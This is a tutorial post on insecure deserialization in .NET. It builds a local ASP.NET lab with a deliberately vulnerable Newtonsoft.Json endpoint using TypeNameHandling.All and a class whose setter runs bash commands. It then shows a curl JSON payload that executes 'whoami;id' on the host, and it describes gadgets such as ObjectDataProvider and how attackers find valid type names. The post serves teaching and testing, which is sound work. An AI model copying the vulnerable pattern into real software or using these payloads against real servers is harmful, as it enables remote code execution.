Introduction

This article introduces Insecure Deserialization attacks in .NET and explains how attackers abuse gadget chains to achieve remote code execution.

In this article, we will explore:

  • The fundamentals of .NET deserialization
  • Gadget chains Concept, and Serializers
  • Build a vulnerable ASP.NET lab for testing
  • Type metadata abuse via TypeNameHandling.All

Insecure Deserialization in .NET — Definition, Key Concepts, Tools, and Exploitation Flow

Definition

This vulnerability occurs when an application deserializes untrusted data without proper validation. this can happen when the target application uses vulnerable libraries, framework classes, or built-in platform classes that can be abused during deserialization.

During deserialization, the application reconstructs objects from serialized data. In some cases, special methods (such as constructors or deserialization callbacks like OnDeserialized) may be automatically executed.

If an attacker can control the serialized data, they may craft a malicious object that triggers unintended code execution during the deserialization process.

A vulnerable class that can be abused during deserialization is called a gadget.

When multiple gadgets are chained together so their method calls lead to arbitrary code execution, the sequence is known as a gadget chain.

Key Concepts

  • Gadget
  • Gadget Chain and Sink
  • Serializers / Formatters

Gadget:

Gadget is a legitimate method/property/constructor that lives within a class and can be abused during deserialization to execute unintended behavior. They usually come from Third-party libraries, Framework classes, or Built-in platform classes.

PS. Not every method/class is a gadget.

A method/class becomes a gadget if:

  • It does something dangerous
  • AND it can be triggered automatically during deserialization

Gadget Chain:

One gadget may not give RCE directly. So attackers chain multiple gadgets to reach RCE or something.

You can think of it as dominos game:

  1. Deserialization pushing the first domino
  2. Gadget A calls gadget B
  3. Gadget B calls gadget C
  4. Final gadget (Sink gadget) execute something dangerous in the server

Tools like ysoserial.net generate such as these chains automatically.

sa

So, as a summary:

  • Gadget → Exploitable class/method
  • Gadget Chain → Multiple gadgets chained to reach sink
  • Sink → The final gadget in the chain, when triggered leads to RCE

Serializer / Deserializer:

A serializer converts an object → data.
A deserializer converts data → object.

So, Basically the concept is:

1
object → Data format (JSON / XML / binary / etc.) → object

Formatters:

In old .NET architecture, a formatter is a type of serializer/deserializer designed to convert objects to a specific format.

Example formatters:

  • BinaryFormatter: used to convert object to binary format and back (serialization/deserialization)
  • SoapFormatter: serialize objects into SOAP-based XML format
  • LosFormatter: used in ASP.NET to serialize/deserialize ViewState data
  • ObjectStateFormatter: used by ASP.NET for more efficient Viewstate serialization (replaces LosFormatter internally in many cases)

We gonna go deep on formatters, ViewState objects, etc in Part 2

So the relationship simply is like that:

1
2
Serializer → general concept (object ↔ data representation)
Formatter → a specific .NET implementation of serialization for a particular format.

Tools — ysoserial.net

A tool used to generate malicious serialized payloads for testing .NET deserialization vulnerabilities.

  • Contains a collection of known gadget chains such as TypeConfuseDelegate, ActivitySurrogateSelector, ObjectDataProvider, WindowsClaimsIdentity etc. these well-known gadget chains also called as ysoserial common gadgets.
  • It generates serialized objects that embeds a command within the payload to trigger code execution during the deserialized process.
  • Used for security testing and research of insecure deserialization.

Official GitHub repository: https://github.com/pwntester/ysoserial.net

Exploitation (Attack flow)

What happen internally?

During deserialization process:

  • The application reconstructs objects from user input
  • Some objects execute code automatically during construction or property initialization
  • If the attacker controls the object data, this behavior can be abused

If the attacker controls both the object type and its data, a gadget chain may execute dangerous functionality.

If an attacker can control the input, they can change the $type to an unexpected class, and it might trigger malicious behavior (like code execution).


In old .NET Framework, gadgets such as ObjectDataProvider, TypeConfuseDelegate, WindowsIdentity were commonly abused.

Note that in modern environments and .NET versions (above 4.0):

  • Exploitation is generally more difficult
  • Many insecure serializers are deprecated or restricted
  • Successful attacks often require vulnerable third-party libraries
  • Or custom application code performing unsafe deserialization

Exploitation Conditions & Prerequisites

Exploit prerequisites:

  • A vulnerable deserialization endpoint
  • The right gadget chain matching the target’s libraries

Environment Setup: Preparing our ASP.NET Lab to Test Deserialization Attacks on .NET

We’re going to setup our ASP.NET webserver which is a web framework developed by Microsoft used to build Web applications, APIs, Enterprise systems, and Internal company portals.

Installing .NET SDK on linux

First, updating our system with sudo apt update and sudo apt upgrade.

Installing the SDK:

1
sudo apt install -y dotnet-sdk-6.0

Verifying the installation:

1
dotnet --version

Create a Test ASP.NET Web App

Creating project folder:

1
2
mkdir dotnet-test
cd dotnet-test

Creating a new web app:

1
dotnet new webapp

This generates an ASP.NET Core Razor application.

Run the .NET webserver locally:

1
dotnet run

We should see something like:

1
Now listening on: http://localhost:5000

Open browser http://localhost:5000 or testing locally from Burpsuite, we can run the server like that:

1
dotnet run --urls=http://0.0.0.0:5000

Then intercepting traffic using burpsuite.

If burpsuite fails to intercept the localhost domain requests, you can edit /etc/hosts and use a custom domain namea instead of localhost or 127.0.0.1.

Since our server is ready now, We can start creating simple vulnerable endpoints in our ASP.NET server and test various formatters such as:

  • Newtonsoft.Json
  • BinaryFormatter
  • LosFormatter
  • DataContractSerializer
  • ObjectStateFormatter

However, It’s important to note that many of these formatters, including BinaryFormatter, LosFormatter, DataContractSerializer, and ObjectStateFormatter, are no longer supported in modern .NET runtimes, particularly versions above 4.0 Even if these formatters work, you will encounter compatibility issues.

In our case (.NET 6.0), only Newtonsoft.Json is still supported and we can test it with TypeNameHandlingAll.

The remaining formatters are no longer supported by modern SDKs. Because these formatters requires .NET versions <= 4.0.

Create minimal ASP.NET web app

Create template for a minimal ASP.NET web application (no Razor pages, just a simple HTTP server):

1
dotnet new web -n <dotnet_appName>

Project Structure - Overview

1
2
3
4
5
6
7
$ ls
appsettings.Development.json
appsettings.json
obj/
Program.cs
Properties/
webapp.csproj

We have Program.cs which is the application main file:

1
2
3
4
5
6
7
$ cat Program.cs
var builder = WebApplication.CreateBuilder(args);
var app = builder.Build();

app.MapGet("/", () => "Hello World!");

app.Run();

So, that’s endpoint basically will:

  • Creates an endpoint /
  • Returns “Hello World!” when a client access the endpoint with GET request

Running the application: dotnet run --urls=http://0.0.0.0:5000 and then curl:

1
2
$ curl http://localhost:5000
Hello World!

As you can see, all good now.

Now we can create endpoints like /deserialize, /api/test, etc. for testing our .NET deserialization attacks and web vulnerabilities.

We are going to create samples of small vulnerable .NET endpoints in Program.cs file to test insecure deserialization.

Newtonsoft.Json TypeNameHandling exploit

I created an endpoint in the Program.cs file as you see here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.MapPost("/Deserialize", async (HttpContext context) =>
{
using var reader = new StreamReader(context.Request.Body);
var body = await reader.ReadToEndAsync();

Console.WriteLine(body);

var settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
};

var obj = JsonConvert.DeserializeObject(body, settings);

return Results.Ok("Deserialized successfully!");
});

So, we have /deserialize endpoint which read the raw request body and deserialize it using JsonConvert.DeserializeObject.

The important part here is TypeNameHandling is set to All. This allows the JSON payload to specify the .NET type through the $type field, which can lead to insecure deserialization if untrusted input is processed.

To test this behavior, I’ll send a POST request to the endpoint using the following curl command:

1
2
3
curl -X POST http://localhost:5000/deserialize \
-H 'Content-Type: application/json' \
-d '{"$type": "Dangerous", "Command": "whoami", "Name": "hello"}'

and this the output of what curl gave me:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Newtonsoft.Json.JsonSerializationException: Type specified in JSON 'Dangerous' was not resolved. Path '$type', line 1, position 21.
at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.ResolveTypeName(JsonReader reader, Type& objectType, JsonContract& contract, JsonProperty member, JsonContainerContract containerContract, JsonProperty containerMember, String qualifiedTypeName)
at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.ReadMetadataProperties(JsonReader reader, Type& objectType, JsonContract& contract, JsonProperty member, JsonContainerContract containerContract, JsonProperty containerMember, Object existingValue, Object& newValue, String& id)
at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.CreateObject(JsonReader reader, Type objectType, JsonContract contract, JsonProperty member, JsonContainerContract containerContract, JsonProperty containerMember, Object existingValue)
at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.CreateValueInternal(JsonReader reader, Type objectType, JsonContract contract, JsonProperty member, JsonContainerContract containerContract, JsonProperty containerMember, Object existingValue)
at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.Deserialize(JsonReader reader, Type objectType, Boolean checkAdditionalContent)
at Newtonsoft.Json.JsonSerializer.DeserializeInternal(JsonReader reader, Type objectType)
at Newtonsoft.Json.JsonSerializer.Deserialize(JsonReader reader, Type objectType)
at Newtonsoft.Json.JsonConvert.DeserializeObject(String value, Type type, JsonSerializerSettings settings)
at Newtonsoft.Json.JsonConvert.DeserializeObject(String value, JsonSerializerSettings settings)
at Program.<>c.<<<Main>$>b__0_3>d.MoveNext() in /home/toowan/Desktop/VulnDeserApp/Program.cs:line 42
--- End of stack trace from previous location ---
at Microsoft.AspNetCore.Http.RequestDelegateFactory.ExecuteTaskResult[T](Task`1 task, HttpContext httpContext)
at Microsoft.AspNetCore.Routing.EndpointMiddleware.<Invoke>g__AwaitRequestTask|6_0(Endpoint endpoint, Task requestTask, ILogger logger)
at Microsoft.AspNetCore.Diagnostics.DeveloperExceptionPageMiddleware.Invoke(HttpContext context)

HEADERS
=======
Accept: */*
Host: localhost:5000
User-Agent: curl/8.18.0
Content-Type: application/json

Content-Length: 60

The error message above tell us exactly what happened during the deserialization process of the provided JSON payload. And based on the revealed errors, we understand that the application resolved the $type specified in the JSON payload but failed because the type Dangerous not found.

Also, the stack trace clearly shows that the error comes from the Newtonsoft.Json library during the deserialization process. This confirms that the request body was processed, and the $type field was read by the application.

What happens internally during deserialization ?

When the server receives something like "$type": "VulnDeserApp.Dangerous, VulnDeserApp", the runtime performs a call internaly like this:

1
Type.GetType($type);

In another hand:

1
2
3
4
5
6
7
8
// Type.GetType(<Namespace.ClassName>, <AssemblyName>);
// In .NET, the $type string follows this format:
// FullTypeName, AssemblyName

// In our case:
Type.GetType("VulnDeserApp.Dangerous, VulnDeserApp");

// That will cause creating an instance

This resolves the specified type from the assembly. Once the type is resolved, the runtime can dynamically instantiate it using something like:

1
Activator.CreateInstance(...)

In other words, the value of the $type field directly influences which .NET class is loaded and instantiated at runtime.

Step 1 — Creating a Dangerous User Class

To demonstrate how insecure deserialization can lead to command execution, we create a simple class called User in a new file User.cs. This class contains a property that executes system commands when its value is set.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using System;
using System.Diagnostics;

public class User
{
public string Name { get; set; }
public int Age { get; set; }

public User()
{
Console.WriteLine("[*] User Constructor executed!");
}

public string Command
{
get
{
Console.WriteLine("[*] Trigger property accessed!");
return "Executed";
}
set
{
string cmd = value;
Console.WriteLine("[*] Command: Setter executed with: " + cmd);
Process.Start(new ProcessStartInfo
{
FileName = "bash",
Arguments = $"-c \"{cmd}\""
});
}
}
}

The code above does 2 important things:

  1. Constructor Execution
    Whenever the object is instantiated, the constructor runs automatically. That confirms that the object created during deserialization.

  2. Dangerous Property Setter
    When the Command property is set:

    • The value from the JSON input is stored in cmd
    • The program launches bash
    • And then the command is executed using bash -c

Step 2 — The Vulnerable API Endpoint

In our Program.cs file, We already have /deserialize endpoint that reads JSON from the request body and deserializes it. I’m going to call

This endpoint performs three main actions:

  • Reads the JSON request body.
  • Uses Newtonsoft.Json to deserialize it.
  • Having TypeNameHandling.All enabled.

Step 3 — Crafting a Malicious Payload

After crafting the malicious payload, we send it to our vulnerable endpoint.

This is how our payload looks like:

1
2
3
4
{
"$type": "User, VulnDeserApp",
"Command": "whoami;id",
}
  • $type: Specifies the .NET class (User) and assembly (VulnDeserApp) that Newtonsoft.Json should instantiate during deserialization.
  • Command Property: Supplies the attacker‑controlled system command (whoami;id) that gets executed when the Command property setter runs.

Example request using curl:

1
curl -X POST http://localhost:5000/Deserialize -d '{"$type": "User, VulnDeserApp", "Command": "whoami;id"}'

This screenshoot shows the result we got after sending our payload to dotnet server:

img

When the payload is processed, the server logs show the following output:

1
2
3
4
5
6
7
8
request_body: {"$type": "User, VulnDeserApp", "Command": "whoami;id"}

[*] User Constructor executed!
[*] Command: Setter executed with: whoami;id

toowan
uid=1000(toowan) gid=1000(toowan)
groups=1000(toowan),4(adm),27(sudo),129(docker)

This confirms:

  1. The User constructor was executed during deserialization.
  2. The Command property setter executed attacker-controlled input.
  3. The command whoami;id ran successfully on the system.

This means we achieved remote command execution on the host due Insecure Deserialization.

Quick insight:

  • By default, Newtonsoft.Json is generally safe because it does not trust type metadata embedded in JSON payloads.
    However, the library becomes dangerous when developers enable certain features.
  • So, the JSON.NET may load specified .NET type, initiate the object, execute property setters and callbacks, and then trigger a gadget chain.

How attackers discover the correct $type

In real pentest attackers find the correct type by:

① Information Disclosure via Error Messages

Is like our previous example, Stack traces often reveals:

  • Namespaces names example: Namespace.ClassName
  • Assembly names example: AssemblyName.dll
  • File system paths example: /home/app/bin/

These details help attackers constructs valid $type values.

② Accessible Application Files / DLL downloads

Attackers may attempt to access directories such as /bin/,/api/, or /swagger, And if .dll files are exposed, attackers may try to analyze them to identify:

  • Available classes
  • Namespaces
  • Assembly names

These components are required to construct valid $type payloads.

③ Public Gadget Classes From .NET Framework

In many cases, attackers don’t even need application assemblies at all. Instead, they use built-in classes from .NET Framework that are already available on the server.

Some commonly available assemblies include:

  • System.Data
  • PresentationFramework

These assemblies contain classes that may act as deserialization gadgets, which can lead to command execution during deserialization process.

A well-known gadget in .NET deserialization is the ObjectDataProvider class from the PresentationFramework assembly.

1
System.Windows.Data.ObjectDataProvider, PresentationFramework

This ObjectDataProvider can be abused to invoke arbitary methods during deserialization, which may lead to command execution.

This is how gadget chains work.

④ Automated Gadget Discovery Tools

Security researchers often rely on tools such as ysoserial.net to generate deserialization payloads using known gadget chains.


Some Useful Resources

The following Hack The Box machines contains vulnerabilities and techniques related to .NET and Java deserialization attacks, gadget chains, or cryptographic key exploitation (e.g., ViewState / MachineKey abuse).

Machine Technology Topic
Json Java Java deserialization
Atlas ASP.NET ViewState / MachineKey exploitation
Sharp .NET .NET application exploitation
Visual ASP.NET ViewState / MachineKey abuse
Scrambled Java Java deserialization
Monitors Java Java Deserialization, more ..
Tenet PHP Wordpress, PHP Deserialization, Race Condition Vulnerability, Inotify
Cereal .NET .NET code analysis, Deserialzation, XSS, JWT, GraphQL, SSRF
Feline Java Java Deserialization, Tomcat, CVE(SaltStack), Docker Engine API
Travel PHP Wordpress, SSRF, PHP Deserialization, Memcached, LDAP
Player PHP JWT, FFmpeg Vulnerability, CVE (SSH), PHP Deserialization Vulnerability

Vedios Sessions

Articles